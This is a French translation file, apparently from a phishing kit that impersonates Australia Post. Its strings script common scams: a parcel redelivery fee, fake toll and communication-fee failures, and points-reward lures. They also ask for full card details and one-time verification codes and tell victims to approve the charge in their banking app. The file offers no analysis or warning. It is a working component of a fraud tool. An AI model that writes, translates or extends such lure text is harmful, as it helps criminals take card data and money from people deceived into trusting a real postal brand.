Files
zy-client-a/a12_au_post_aupost/src/locales/fr/index.ts
telangpu 4ef6bfcdba update
2026-05-10 23:25:27 +08:00

85 lines
4.5 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

export default {
"There is an error in this field, please check": "Il y a une erreur dans ce champ, veuillez vérifier",
"Please enter a valid email address": "Veuillez saisir une adresse e-mail valide",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Chers utilisateurs, veuillez remplir le formulaire avec soin afin d'assurer la bonne livraison",
"Your Name": "Votre nom",
"Address": "Adresse",
"Detailed Address": "Adresse détaillée",
"(Optional)": "(Optionnel)",
"City": "Ville",
"State": "État",
"Province": "Province",
"Region": "Région",
"Zip Code": "Code postal",
"E-Mail": "E-mail",
"Next": "Suivant",
"Telephone Number": "Numéro de téléphone",
"Online": "En ligne",
"Payment": "Paiement",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Pour une nouvelle livraison, des frais de service s'appliquent. Votre colis sera réexpédié après paiement",
"lump sum: ": "montant forfaitaire : ",
"Cardholder": "Titulaire de la carte",
"Card Number": "Numéro de carte",
"Expire Date": "Date dexpiration",
"Security Code": "Code de sécurité",
"Submit": "Soumettre",
"Click here to receive another code": "Cliquez ici pour recevoir un autre code",
"Please confirm your identity and a one-time code will be sent":
"Veuillez confirmer votre identité. Un code unique sera envoyé à votre numéro de téléphone ou à votre adresse e-mail. Veuillez entrer le code de vérification ici",
"The verification code has been sent to": "Le code de vérification a été envoyé à",
"Please do not click the":
"Veuillez ne pas cliquer sur les boutons 'Actualiser' ou 'Retour' car cela pourrait interrompre votre transaction",
"Verification code error, please try again": "Erreur de code de vérification, veuillez réessayer",
"The session is about to expire, please complete the verification now":
"La session est sur le point dexpirer, veuillez terminer la vérification maintenant",
"This card does not support this transaction, please try another card":
"Cette carte ne prend pas en charge cette transaction, veuillez essayer une autre carte",
"Authorized bank": "Banque autorisée",
"Please go to the bank App to confirm the authorization":
"Veuillez accéder à lapplication bancaire pour confirmer lautorisation",
"Please do not close this page": "Veuillez ne pas fermer cette page",
"Payment Successful": "Paiement réussi !",
"Thank you for your purchase. Your payment has been processed successfully":
"Merci pour votre achat. Votre paiement a été traité avec succès",
"Mailing address": "Adresse postale",
"street address or house number": "rue ou numéro de maison",
"Apartment number": "Numéro d'appartement, numéro de chambre, etc.",
"Safe payment": "Paiement sécurisé",
"Verification code": "Code de vérification",
"Welcome": "Bienvenue",
"back": "retour !",
"We reward you for using point services": "Nous vous récompensons pour lutilisation de nos services à points",
"Check your points": "Vérifiez vos points",
"Phone number": "Numéro de téléphone",
"Inquire": "Consulter",
"Exchange": "Échanger",
"Spend points": "Utiliser les points",
"Points Available": "Points disponibles",
"You don't have enough points": "Vous navez pas assez de points",
"Please redeem your favorite product": "Veuillez échanger contre votre produit préféré",
"Confirm your shipping address": "Confirmez votre adresse de livraison",
"Order number": "Numéro de commande : ",
"Pay": "Payer",
"Pay Message": "Payez {0} pour échanger des points contre un produit",
"Pay electronic tolls online": "Payer les péages électroniques en ligne",
"your electronic toll payment was unsuccessful":
"votre paiement de péage électronique a échoué.",
"Billing Information": "Informations de facturation",
"Description": "Description",
"Dear customer": "Cher client :",
"Electronic Communications Charge Payment Failed":
"Échec du paiement des frais de communication électronique",
"Invoice Number": "Numéro de facture",
"Amount": "Montant",
"Pay Immediately": "Payer immédiatement",
"Phone Number": "Numéro de téléphone",
"Electronic communication fee payment failed":
"Échec du paiement des frais de communication électronique",
"Illustrate": "Illustrer",
"Processing payment": "Traitement du paiement",
"Please do not refresh or close the page":
"Veuillez ne pas actualiser ou fermer la page",
};